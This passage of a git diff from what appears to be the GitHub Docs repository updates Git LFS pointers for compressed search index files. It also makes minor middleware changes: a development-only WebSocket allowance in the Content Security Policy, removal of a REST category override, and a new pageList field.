-oid sha256:f3a1342f8953055ab2915aba803f4315ba198d56e489fe985375d67f3fa8d692
-size 1009424
+oid sha256:17157695558ac62881b1e472f137989ed3d20c5244e918e5fab73457ffbd327f
+size 1014930
diff --git a/lib/search/indexes/github-docs-3.2-en.json.br b/lib/search/indexes/github-docs-3.2-en.json.br
index dcd0e42896..29d7fdb568 100644
--- a/lib/search/indexes/github-docs-3.2-en.json.br
+++ b/lib/search/indexes/github-docs-3.2-en.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:8cacec8a65df8ecac63b6cbf34f81b0b3628fb8fc8b2bc6b9d8da899d3388922
-size 4123027
+oid sha256:bcb9d42f8ac9113409a9a37d22f5669857faeb02206a5ebab8b228bf562dc36e
+size 4132253
diff --git a/lib/search/indexes/github-docs-3.2-es-records.json.br b/lib/search/indexes/github-docs-3.2-es-records.json.br
index 702792f79a..c5409164f8 100644
--- a/lib/search/indexes/github-docs-3.2-es-records.json.br
+++ b/lib/search/indexes/github-docs-3.2-es-records.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:0b47dfbbe995dae3467bf2591a70c4c9aeb5fe089050ad77f4e7748b70245763
-size 605963
+oid sha256:00bba1a84decadedaec35a9ac92ed5b586cddb2564f488b302c102a9ca89e318
+size 625336
diff --git a/lib/search/indexes/github-docs-3.2-es.json.br b/lib/search/indexes/github-docs-3.2-es.json.br
index c688f33a5b..49dae104b7 100644
--- a/lib/search/indexes/github-docs-3.2-es.json.br
+++ b/lib/search/indexes/github-docs-3.2-es.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:a067d4ff26303f8e23480c61da2391604e4f762cedca986de045d1c14a7015cf
-size 2813305
+oid sha256:4a48c3a2cd65168db4d62eb27f0a14abccde098cbc7d19b7f76eaa5e5d299c0c
+size 2665082
diff --git a/lib/search/indexes/github-docs-3.2-ja-records.json.br b/lib/search/indexes/github-docs-3.2-ja-records.json.br
index 7d9c6dde5b..c695297a7f 100644
--- a/lib/search/indexes/github-docs-3.2-ja-records.json.br
+++ b/lib/search/indexes/github-docs-3.2-ja-records.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:713fdac44ec779b1d3096a3ac1de647e04ac896c2b9286abfc068d942b82f6c0
-size 642438
+oid sha256:922f3dd0e8666acf3960c34300cc9069677f85cfd4dab411ad93eb988424a564
+size 692006
diff --git a/lib/search/indexes/github-docs-3.2-ja.json.br b/lib/search/indexes/github-docs-3.2-ja.json.br
index 417ac72921..f891ae9d83 100644
--- a/lib/search/indexes/github-docs-3.2-ja.json.br
+++ b/lib/search/indexes/github-docs-3.2-ja.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:52556a267e7a96a5458dc71db39e8c648e6d8bab3866924a9131d1817921c972
-size 3622350
+oid sha256:daeb23604c57818c4342ddefb07afa97cd446581f7d539e4ea00964dcdec1c8a
+size 3696965
diff --git a/lib/search/indexes/github-docs-3.2-pt-records.json.br b/lib/search/indexes/github-docs-3.2-pt-records.json.br
index 2208ac3bb6..0bc3b7328e 100644
--- a/lib/search/indexes/github-docs-3.2-pt-records.json.br
+++ b/lib/search/indexes/github-docs-3.2-pt-records.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:9b46a1b25ebbb6c24a8b413e5934aff58a60bd06f6cd22d915bd11eb2be4001e
-size 619597
+oid sha256:01897a66a779c8a276b76618758e433a01aa1f6deeeb9eb1d52fcc4d342f9b08
+size 614926
diff --git a/lib/search/indexes/github-docs-3.2-pt.json.br b/lib/search/indexes/github-docs-3.2-pt.json.br
index 6bddb2d973..764aad8ae0 100644
--- a/lib/search/indexes/github-docs-3.2-pt.json.br
+++ b/lib/search/indexes/github-docs-3.2-pt.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:318d6a0c137d3dfc0f2c2a6aedd6a221803dc585c9fb081c2139f68bb54cdb1d
-size 2932186
+oid sha256:1445d43fff650c8872768b1990e08fdfc87dabac617f41615cec604b55a19232
+size 2528506
diff --git a/lib/search/indexes/github-docs-3.3-cn-records.json.br b/lib/search/indexes/github-docs-3.3-cn-records.json.br
index 3cab6a0264..439e464897 100644
--- a/lib/search/indexes/github-docs-3.3-cn-records.json.br
+++ b/lib/search/indexes/github-docs-3.3-cn-records.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:7b48ba9c991d13e292097bd67a63f41e910fdfa4d757948281ef43d56f2223ed
-size 659631
+oid sha256:ee3d7bfba759c055facf8224cd85b6d248b32bdb8c2583d19309ebfede9a5688
+size 697411
diff --git a/lib/search/indexes/github-docs-3.3-cn.json.br b/lib/search/indexes/github-docs-3.3-cn.json.br
index 5747720487..fd42e207b4 100644
--- a/lib/search/indexes/github-docs-3.3-cn.json.br
+++ b/lib/search/indexes/github-docs-3.3-cn.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:3c4feeefe5393edfd46c77a1d774f9ee8f25460019da8b6f8c803198f9b5c8d3
-size 1872542
+oid sha256:b641f760d36c49125640a3b0f44ed83ac4735d645747d71f9f2ec2ae0bac5e84
+size 1465854
diff --git a/lib/search/indexes/github-docs-3.3-en-records.json.br b/lib/search/indexes/github-docs-3.3-en-records.json.br
index 1aa56bbd51..a12b161bbe 100644
--- a/lib/search/indexes/github-docs-3.3-en-records.json.br
+++ b/lib/search/indexes/github-docs-3.3-en-records.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:b58624f91cb3dc27c31c5ad9d94616afc0f0b3c2bd276f077dfe042a83aba6b9
-size 1043394
+oid sha256:1de26f83fa49304c0d53f5ae5c51f3ae3b6783158191817305c4b72b690ec989
+size 1044352
diff --git a/lib/search/indexes/github-docs-3.3-en.json.br b/lib/search/indexes/github-docs-3.3-en.json.br
index 1784ae2e1c..7ca354448b 100644
--- a/lib/search/indexes/github-docs-3.3-en.json.br
+++ b/lib/search/indexes/github-docs-3.3-en.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:45439f30b363c2586d23ba69790b84d48acd21f84375ae6ecbad2a29d5e4efae
-size 4223447
+oid sha256:ec5eb674001a075e463119b6563835c54d5aa0be4a672e95d1dad04152bfe60c
+size 4236034
diff --git a/lib/search/indexes/github-docs-3.3-es-records.json.br b/lib/search/indexes/github-docs-3.3-es-records.json.br
index 3a51fba5d3..da0bb9579b 100644
--- a/lib/search/indexes/github-docs-3.3-es-records.json.br
+++ b/lib/search/indexes/github-docs-3.3-es-records.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:1d4fe5958a5b3f57d577ab9f84ace0a6fa22ff6c313d495430c02aced988ddf4
-size 624145
+oid sha256:2cf232129352cdd61904627b82eeb4441c5da477b566b0f9b5c13c7ab6125675
+size 643915
diff --git a/lib/search/indexes/github-docs-3.3-es.json.br b/lib/search/indexes/github-docs-3.3-es.json.br
index aa440578be..5af4293b35 100644
--- a/lib/search/indexes/github-docs-3.3-es.json.br
+++ b/lib/search/indexes/github-docs-3.3-es.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:993d6ac41032f50bfc4779534da574600ee659d284678ae68a80385e4f7f0686
-size 2912046
+oid sha256:5b5d4e934e2c43bde3e2d6177ccf23fd3b96334b8f09638df6a17ba118aa14da
+size 2763596
diff --git a/lib/search/indexes/github-docs-3.3-ja-records.json.br b/lib/search/indexes/github-docs-3.3-ja-records.json.br
index 5e9635fc3f..f4e7441d6d 100644
--- a/lib/search/indexes/github-docs-3.3-ja-records.json.br
+++ b/lib/search/indexes/github-docs-3.3-ja-records.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:4baea3f2c5efe95a45a4beaeabc072213ac307b409112682f497e6d5c3de7786
-size 663828
+oid sha256:5e7a41a2a07b378dc9a7fb514f13bd51ee36c00cd24e6278c7d424d62e915c82
+size 714630
diff --git a/lib/search/indexes/github-docs-3.3-ja.json.br b/lib/search/indexes/github-docs-3.3-ja.json.br
index 665c66767f..172b5bc577 100644
--- a/lib/search/indexes/github-docs-3.3-ja.json.br
+++ b/lib/search/indexes/github-docs-3.3-ja.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:dd9b2ca18ddf82a57e8de938e15e5e41d20d2a25c0d6cbae9b6d499188c49834
-size 3740590
+oid sha256:b20b2128a18bdc3f1978cf30f3b5cfb86acd6c356b514d233f8635a8f815cdca
+size 3820922
diff --git a/lib/search/indexes/github-docs-3.3-pt-records.json.br b/lib/search/indexes/github-docs-3.3-pt-records.json.br
index abc0c4dfc7..2fea70bd9e 100644
--- a/lib/search/indexes/github-docs-3.3-pt-records.json.br
+++ b/lib/search/indexes/github-docs-3.3-pt-records.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:7303f5d145eb9a2345f588d53b74810511a8b806a144b60ab76896ac7973de55
-size 638726
+oid sha256:c5800b7a9cf34136e83705657d130bfbaf11081c3a6ccb6dad2a415a9ef0f01f
+size 633310
diff --git a/lib/search/indexes/github-docs-3.3-pt.json.br b/lib/search/indexes/github-docs-3.3-pt.json.br
index 729c5a25ef..39076a6d88 100644
--- a/lib/search/indexes/github-docs-3.3-pt.json.br
+++ b/lib/search/indexes/github-docs-3.3-pt.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:36e4819862dffc6e86dd581c30faa75d862d35a6e918d9810265c2cf91e2c948
-size 3020254
+oid sha256:a877693f73b1f0e2cca840ba1a34792e0bd2f7e8ad4b3306d12902645b1ee792
+size 2607557
diff --git a/lib/search/indexes/github-docs-dotcom-cn-records.json.br b/lib/search/indexes/github-docs-dotcom-cn-records.json.br
index c77c5cf877..276d75812d 100644
--- a/lib/search/indexes/github-docs-dotcom-cn-records.json.br
+++ b/lib/search/indexes/github-docs-dotcom-cn-records.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:d9e7475dfb81a579d97338a67e4640862127ec35fa1a019bf0f8e9f34d0bceb3
-size 848253
+oid sha256:3a5f7cf5061f078d52e7045ce8f47f9c374c8bd94b579727cb301f6385e23ef3
+size 898876
diff --git a/lib/search/indexes/github-docs-dotcom-cn.json.br b/lib/search/indexes/github-docs-dotcom-cn.json.br
index 8b249cf295..75a765da19 100644
--- a/lib/search/indexes/github-docs-dotcom-cn.json.br
+++ b/lib/search/indexes/github-docs-dotcom-cn.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:06dbbcf4a5c3dec786e9041081792c84b2172c02878c824eca170f852cbdd4f6
-size 2092844
+oid sha256:7b0b55953e8f9396c5135f41e04024fbb656eb3c7e08af0cd3c00839f0aed8b6
+size 1639482
diff --git a/lib/search/indexes/github-docs-dotcom-en-records.json.br b/lib/search/indexes/github-docs-dotcom-en-records.json.br
index 3bf3077939..f3024e875f 100644
--- a/lib/search/indexes/github-docs-dotcom-en-records.json.br
+++ b/lib/search/indexes/github-docs-dotcom-en-records.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:8dc367f5434049367d97bcb0cfbf213b9db514e239c57793c314a36980bffd6f
-size 1326748
+oid sha256:3f9cfa0a37608bd30e9b3b5bda7df8c3c749c036f0d53bb82ea5610ed51883b5
+size 1330247
diff --git a/lib/search/indexes/github-docs-dotcom-en.json.br b/lib/search/indexes/github-docs-dotcom-en.json.br
index 88f21752c9..61a9027ecb 100644
--- a/lib/search/indexes/github-docs-dotcom-en.json.br
+++ b/lib/search/indexes/github-docs-dotcom-en.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:9d812fb255b0362510b62107795545c2dde5e84c7e5eb052a0c836af61c10174
-size 5068641
+oid sha256:efa191ba723d8ad1d8894cfadccc6c659103088ad55193c42c568276bc9660a9
+size 5095604
diff --git a/lib/search/indexes/github-docs-dotcom-es-records.json.br b/lib/search/indexes/github-docs-dotcom-es-records.json.br
index d3fad9ae09..409344c6d7 100644
--- a/lib/search/indexes/github-docs-dotcom-es-records.json.br
+++ b/lib/search/indexes/github-docs-dotcom-es-records.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:352df21845169e570a4984f1c7a0382fcde9e693404ba200582a12683fbec734
-size 794943
+oid sha256:cfb5f1397dcafe69778807cb032281b25186ff8ddb68d4003121ebe80c90031c
+size 812512
diff --git a/lib/search/indexes/github-docs-dotcom-es.json.br b/lib/search/indexes/github-docs-dotcom-es.json.br
index 309778ced5..05557f8f00 100644
--- a/lib/search/indexes/github-docs-dotcom-es.json.br
+++ b/lib/search/indexes/github-docs-dotcom-es.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:4a0338dba5177e7a58e08ba7b71aa3735d6736436a848f627c03de4b25b74e95
-size 3497791
+oid sha256:523ba390a0f9249f8fe300213d9b79ba54a159484c95552cc6a306a8755e4807
+size 3302987
diff --git a/lib/search/indexes/github-docs-dotcom-ja-records.json.br b/lib/search/indexes/github-docs-dotcom-ja-records.json.br
index 59c0080dfd..95f33b79a3 100644
--- a/lib/search/indexes/github-docs-dotcom-ja-records.json.br
+++ b/lib/search/indexes/github-docs-dotcom-ja-records.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:82020f873e8976b3aae3c8eb1b505a49c7ea13b9d7cf5e0e64e7ef2bc6abb7af
-size 856227
+oid sha256:342af2cef772298f48793e003d72d17ec9a9fafedcf5d478c25345ee6f1f8793
+size 915032
diff --git a/lib/search/indexes/github-docs-dotcom-ja.json.br b/lib/search/indexes/github-docs-dotcom-ja.json.br
index a83c210797..2264ffd845 100644
--- a/lib/search/indexes/github-docs-dotcom-ja.json.br
+++ b/lib/search/indexes/github-docs-dotcom-ja.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:ebd12b18b97fa2f7a958a586a855982b9e73a8468822c680362073cdd89cf9ca
-size 4558863
+oid sha256:edaf1f88bcc457d0c92b356f195ba8da3d0b6f0c5d4e2952df9429e5e4079350
+size 4682103
diff --git a/lib/search/indexes/github-docs-dotcom-pt-records.json.br b/lib/search/indexes/github-docs-dotcom-pt-records.json.br
index 2006332c53..7f8d8e5bb0 100644
--- a/lib/search/indexes/github-docs-dotcom-pt-records.json.br
+++ b/lib/search/indexes/github-docs-dotcom-pt-records.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:1f1c72236d1273dd9b346f5338e268f7899a669039fd415417110d1a8d22a7a8
-size 810484
+oid sha256:835562ba412d5644da0f61076770c4a43da70987476c19d617b63b449f523354
+size 802168
diff --git a/lib/search/indexes/github-docs-dotcom-pt.json.br b/lib/search/indexes/github-docs-dotcom-pt.json.br
index 6cec67159f..db693d1b88 100644
--- a/lib/search/indexes/github-docs-dotcom-pt.json.br
+++ b/lib/search/indexes/github-docs-dotcom-pt.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:1ff0de8298232bd014dbeee4bdbbeb6af2799ab8f5bf468580ad3f65898960ab
-size 3612380
+oid sha256:cc591ab2ec3bc4e375690f0cf89748e0b6ecc8766be623957eb2c6f28734f26c
+size 3143202
diff --git a/lib/search/indexes/github-docs-ghae-cn-records.json.br b/lib/search/indexes/github-docs-ghae-cn-records.json.br
index 3c1400e2f9..9e1f7d0273 100644
--- a/lib/search/indexes/github-docs-ghae-cn-records.json.br
+++ b/lib/search/indexes/github-docs-ghae-cn-records.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:935e7fe5dd5a832b08f7b958e605b46c8e6bf8ab94080837bcd359ed712dcda4
-size 512959
+oid sha256:51a32608331287103b1568d9150e5337f445d10b42a8798ac3e641917ebb679f
+size 545153
diff --git a/lib/search/indexes/github-docs-ghae-cn.json.br b/lib/search/indexes/github-docs-ghae-cn.json.br
index 7ce53f10af..dbfcb5b77c 100644
--- a/lib/search/indexes/github-docs-ghae-cn.json.br
+++ b/lib/search/indexes/github-docs-ghae-cn.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:a889f8edd9516368260143d00a6612815992639ceb77f941a1e6d0a3902904d3
-size 1415967
+oid sha256:384e78aba26977697808bb72cf4fb21b64f90f666d8cda35de87d9383c13a78f
+size 1094300
diff --git a/lib/search/indexes/github-docs-ghae-en-records.json.br b/lib/search/indexes/github-docs-ghae-en-records.json.br
index 26f1fbe03f..41d430863e 100644
--- a/lib/search/indexes/github-docs-ghae-en-records.json.br
+++ b/lib/search/indexes/github-docs-ghae-en-records.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:2e74b26f66295a82254881d32fdb93aef6a49600b40b650953f64776236e083d
-size 832393
+oid sha256:da0a961498dd47ecd4a405678daae303768f328e439406d9b33c02cd2ac2981d
+size 833749
diff --git a/lib/search/indexes/github-docs-ghae-en.json.br b/lib/search/indexes/github-docs-ghae-en.json.br
index 43890f89f6..e78decd026 100644
--- a/lib/search/indexes/github-docs-ghae-en.json.br
+++ b/lib/search/indexes/github-docs-ghae-en.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:1e5d72abd22e1faa11d64ea863e593416d8d5cca43c6a01faca75eccf7b59b07
-size 3342331
+oid sha256:f7a851a113125e5d797e612cbd63f43b19ce8ea8db90fad3c4faa599e0d29cdd
+size 3353808
diff --git a/lib/search/indexes/github-docs-ghae-es-records.json.br b/lib/search/indexes/github-docs-ghae-es-records.json.br
index dce1b54e77..773d3935eb 100644
--- a/lib/search/indexes/github-docs-ghae-es-records.json.br
+++ b/lib/search/indexes/github-docs-ghae-es-records.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:06ed387367a34bf0ac6732a053a90ba1b4dd65a318f3bc514d1dc07105eae0f6
-size 486868
+oid sha256:33aebb95e51afcc12eca3e0d5aff43877fadf848e6d6573eaff1d77fed267b77
+size 504903
diff --git a/lib/search/indexes/github-docs-ghae-es.json.br b/lib/search/indexes/github-docs-ghae-es.json.br
index 32444811b4..9fec62ea34 100644
--- a/lib/search/indexes/github-docs-ghae-es.json.br
+++ b/lib/search/indexes/github-docs-ghae-es.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:be693ad02a3e6055b96f4716a4876c448566d42e39dc391cb8f6c49af6a2f0db
-size 2189320
+oid sha256:dca2652c541619f8dd9f0e5290a130db0433ae0c900a89bdcb869cae9ff18cd9
+size 2077090
diff --git a/lib/search/indexes/github-docs-ghae-ja-records.json.br b/lib/search/indexes/github-docs-ghae-ja-records.json.br
index 2813a8fdc2..dfcb997a05 100644
--- a/lib/search/indexes/github-docs-ghae-ja-records.json.br
+++ b/lib/search/indexes/github-docs-ghae-ja-records.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:60ecc11b3dff7542a5b59209caad7da94786d3fcf29cd884007a3014f56fdd33
-size 517000
+oid sha256:c45a6149e834d49f597bfee4b39b6bbc9436d0e161cb22576838dce0d221c369
+size 557654
diff --git a/lib/search/indexes/github-docs-ghae-ja.json.br b/lib/search/indexes/github-docs-ghae-ja.json.br
index 0d501f76fc..8a9fa74f67 100644
--- a/lib/search/indexes/github-docs-ghae-ja.json.br
+++ b/lib/search/indexes/github-docs-ghae-ja.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:40b6921dfc60a5d1814d6b22791b4e8534ed09833f21559cdd9c772b813b3239
-size 2803053
+oid sha256:7b5e11cab0add487b668bb013109f8ec9a0441e05f5da94e6ad1214315c5b46b
+size 2867122
diff --git a/lib/search/indexes/github-docs-ghae-pt-records.json.br b/lib/search/indexes/github-docs-ghae-pt-records.json.br
index 08600ab43c..baf15721e5 100644
--- a/lib/search/indexes/github-docs-ghae-pt-records.json.br
+++ b/lib/search/indexes/github-docs-ghae-pt-records.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:d7d45f1970f8dfbc7e754f9fb275ed709e1ec33340e73facb1982fbc5ef714ab
-size 500587
+oid sha256:b2b1b1082148fe43a8b1fa650bc9302ebde55469fb27c5b3c39842f44222f804
+size 497432
diff --git a/lib/search/indexes/github-docs-ghae-pt.json.br b/lib/search/indexes/github-docs-ghae-pt.json.br
index 7da208d33b..d5e20a484c 100644
--- a/lib/search/indexes/github-docs-ghae-pt.json.br
+++ b/lib/search/indexes/github-docs-ghae-pt.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:4cb6292eb502eda6ea5129bb6c500d8395db9943973f372bc37a39318975ba90
-size 2289406
+oid sha256:d4dd2331bc082560d3f30d0a969884c9cdb14c13a9fbb7fc9f0eaf55a5b5a800
+size 1961773
diff --git a/lib/search/indexes/github-docs-ghec-cn-records.json.br b/lib/search/indexes/github-docs-ghec-cn-records.json.br
index 89a7fc9910..407033476c 100644
--- a/lib/search/indexes/github-docs-ghec-cn-records.json.br
+++ b/lib/search/indexes/github-docs-ghec-cn-records.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:c8fbb7c18528c8c48a3839d7e5ef6a0f58465d38315c09ab37a383bc258095ba
-size 772083
+oid sha256:9f754f310a990d6aceced1fe6d384c64a2a66cc62f5c6b82b60ab1039fc2e702
+size 816352
diff --git a/lib/search/indexes/github-docs-ghec-cn.json.br b/lib/search/indexes/github-docs-ghec-cn.json.br
index 2dd59f4bd4..f2319d4682 100644
--- a/lib/search/indexes/github-docs-ghec-cn.json.br
+++ b/lib/search/indexes/github-docs-ghec-cn.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:d6dc7c1f9dfb5ab444ee7b5a6bcd02a67d387ea94c056126b0453495dd72eed7
-size 2110242
+oid sha256:09d7182a108f8a530ea08d76646d59cda4e20234c445c8b0d542dd09bfdb12c5
+size 1676128
diff --git a/lib/search/indexes/github-docs-ghec-en-records.json.br b/lib/search/indexes/github-docs-ghec-en-records.json.br
index 9570eb852c..6b3d8077cf 100644
--- a/lib/search/indexes/github-docs-ghec-en-records.json.br
+++ b/lib/search/indexes/github-docs-ghec-en-records.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:215b20836338b0188f9a8391fc63f521f34751986a64d625b105f3d1a119b637
-size 1185520
+oid sha256:095248d545153d3bf3d065f334910f1b5f852337cdd5c1e968169bb88d1e8f51
+size 1193857
diff --git a/lib/search/indexes/github-docs-ghec-en.json.br b/lib/search/indexes/github-docs-ghec-en.json.br
index ceafda27f1..c3e48e5c79 100644
--- a/lib/search/indexes/github-docs-ghec-en.json.br
+++ b/lib/search/indexes/github-docs-ghec-en.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:2716fc97fa306eda3a9c71cc3a8b1b8b4038f1e41042f3c39295a8c7667e6c07
-size 4805586
+oid sha256:0c4722b72ac8df49f9683205ef11c2902003475464beb90f5c4d0d85083da352
+size 4832305
diff --git a/lib/search/indexes/github-docs-ghec-es-records.json.br b/lib/search/indexes/github-docs-ghec-es-records.json.br
index 5a3ac742b3..652b4d5bc8 100644
--- a/lib/search/indexes/github-docs-ghec-es-records.json.br
+++ b/lib/search/indexes/github-docs-ghec-es-records.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:de70beddfe25424e82c8e765b3658c6af33082da83e04e210dbd0d7bd2e329a1
-size 739613
+oid sha256:d468e329bd57a1cda23017a33ac05e6bb3c27c98bdf29e70de052f28a0adfb49
+size 762738
diff --git a/lib/search/indexes/github-docs-ghec-es.json.br b/lib/search/indexes/github-docs-ghec-es.json.br
index 51ebb1ac94..c24a7c3795 100644
--- a/lib/search/indexes/github-docs-ghec-es.json.br
+++ b/lib/search/indexes/github-docs-ghec-es.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:812e2c920c3c5ed6c657eee841dfb79acc32d980cd39a70abe659ccb423b2376
-size 3440814
+oid sha256:3b1df5fbb693c93c76436097bdaecfa846b3cdc10c04f7b5d682d322121cae4f
+size 3253205
diff --git a/lib/search/indexes/github-docs-ghec-ja-records.json.br b/lib/search/indexes/github-docs-ghec-ja-records.json.br
index 45cf2c78a0..b4cbbc9d0d 100644
--- a/lib/search/indexes/github-docs-ghec-ja-records.json.br
+++ b/lib/search/indexes/github-docs-ghec-ja-records.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:2c73145ce9a5874b0c8c9653e211771958d1dc9be753971940dfb6da77cdec83
-size 782756
+oid sha256:5ca249cd259f6b9dc89a2180a6f1dd67160615ec3ecf4ecbd53061d2efa02b73
+size 837716
diff --git a/lib/search/indexes/github-docs-ghec-ja.json.br b/lib/search/indexes/github-docs-ghec-ja.json.br
index 88a118b746..d4f0f55c9b 100644
--- a/lib/search/indexes/github-docs-ghec-ja.json.br
+++ b/lib/search/indexes/github-docs-ghec-ja.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:c55feeadca1dd358775b5ba1a060de709cb897e7cec78de966616c172e1fbbb9
-size 4396759
+oid sha256:8461a4e5c5a375f9ffda83d6c8c47568487250df7ed47ed08829c4dd156c9f97
+size 4505316
diff --git a/lib/search/indexes/github-docs-ghec-pt-records.json.br b/lib/search/indexes/github-docs-ghec-pt-records.json.br
index 0112378da6..6d8981acd4 100644
--- a/lib/search/indexes/github-docs-ghec-pt-records.json.br
+++ b/lib/search/indexes/github-docs-ghec-pt-records.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:b3d0de3fc6d9addd5633852b8211913f82764037a761f9b375cc0126e0df84c5
-size 755754
+oid sha256:e565b54ae738fd3b32efad792b299017b4c82d3cf6b0532c089a385b861ef18b
+size 752129
diff --git a/lib/search/indexes/github-docs-ghec-pt.json.br b/lib/search/indexes/github-docs-ghec-pt.json.br
index 40360b529c..ba4cc9a62f 100644
--- a/lib/search/indexes/github-docs-ghec-pt.json.br
+++ b/lib/search/indexes/github-docs-ghec-pt.json.br
@@ -1,3 +1,3 @@
 version https://git-lfs.github.com/spec/v1
-oid sha256:24a124e9357f9b2e715c24dd70b3057b267761ffccd365ad1fc8491e102e4861
-size 3550257
+oid sha256:f08b966a02288e8b30a54fcb190725c68c100d846071e38022eed02cfdee6031
+size 3086240
diff --git a/lib/warm-server.js b/lib/warm-server.js
index 5f116d7d16..e3d000280b 100644
--- a/lib/warm-server.js
+++ b/lib/warm-server.js
@@ -45,6 +45,7 @@ async function warmServer() {
     redirects,
     unversionedTree,
     siteTree,
+    pageList,
   }
 }
 
diff --git a/middleware/contextualizers/rest.js b/middleware/contextualizers/rest.js
index bc5c0b6119..9ed8f2a06e 100644
--- a/middleware/contextualizers/rest.js
+++ b/middleware/contextualizers/rest.js
@@ -1,5 +1,5 @@
 import path from 'path'
-import getRest, { restRepoCategoryExceptions } from '../../lib/rest/index.js'
+import getRest from '../../lib/rest/index.js'
 import removeFPTFromPath from '../../lib/remove-fpt-from-path.js'
 
 // Global cache to avoid calling getRest() more than once
@@ -24,16 +24,11 @@ export default async function restContext(req, res, next) {
   if (!req.pagePath.includes('rest/reference')) return next()
 
   // e.g. the `activity` from `/en/rest/reference/activity#events`
-  let category = req.pagePath
+  const category = req.pagePath
     .split('rest/reference')[1]
     .replace(/^\//, '') // remove leading slash
     .split('/')[0]
 
-  // override the category if the category is in the restRepoCategoryExceptions list
-  if (restRepoCategoryExceptions.includes(category)) {
-    category = 'repos'
-  }
-
   // ignore empty strings or bare `/`
   if (!category || category.length < 2) return next()
 
diff --git a/middleware/csp.js b/middleware/csp.js
index 049354a65a..e1f78f9e3d 100644
--- a/middleware/csp.js
+++ b/middleware/csp.js
@@ -8,12 +8,20 @@ const { contentSecurityPolicy } = helmet
 
 const AZURE_STORAGE_URL = 'githubdocs.azureedge.net'
 
+const isDev = process.env.NODE_ENV === 'development'
+
 export default function csp(req, res, next) {
   const csp = {
     directives: {
       defaultSrc: ["'none'"],
       prefetchSrc: ["'self'"],
-      connectSrc: ["'self'"],
+
+      connectSrc: [
+        "'self'",
+        // When doing local dev, especially in Safari, you need to add `ws:`
+        // which NextJS uses for the hot module reloading.
+        isDev && 'ws:',
+      ].filter(Boolean),
       fontSrc: ["'self'", 'data:', AZURE_STORAGE_URL],
       imgSrc: [
         "'self'",
@@ -30,7 +38,7 @@ export default function csp(req, res, next) {
         'data:',
         // For use during development only! This allows us to use a performant webpack devtool setting (eval)
         // https://webpack.js.org/configuration/devtool/#devtool
-        process.env.NODE_ENV === 'development' && "'unsafe-eval'",
+        isDev && "'unsafe-eval'",
       ].filter(Boolean),
       frameSrc: [
         // exceptions for GraphQL Explorer
diff --git a/middleware/next.js b/middleware/next.js
index 8ad6b3eb22..ab9de7ae09 100644
--- a/middleware/next.js
+++ b/middleware/next.js
@@ -1,9 +1,16 @@
 import next from 'next'
 
+// This import is necessary, as of Jan 2022 to avoid a segmentation fault.
+// Next is suppose to automatically pick up the `next.config.js` file
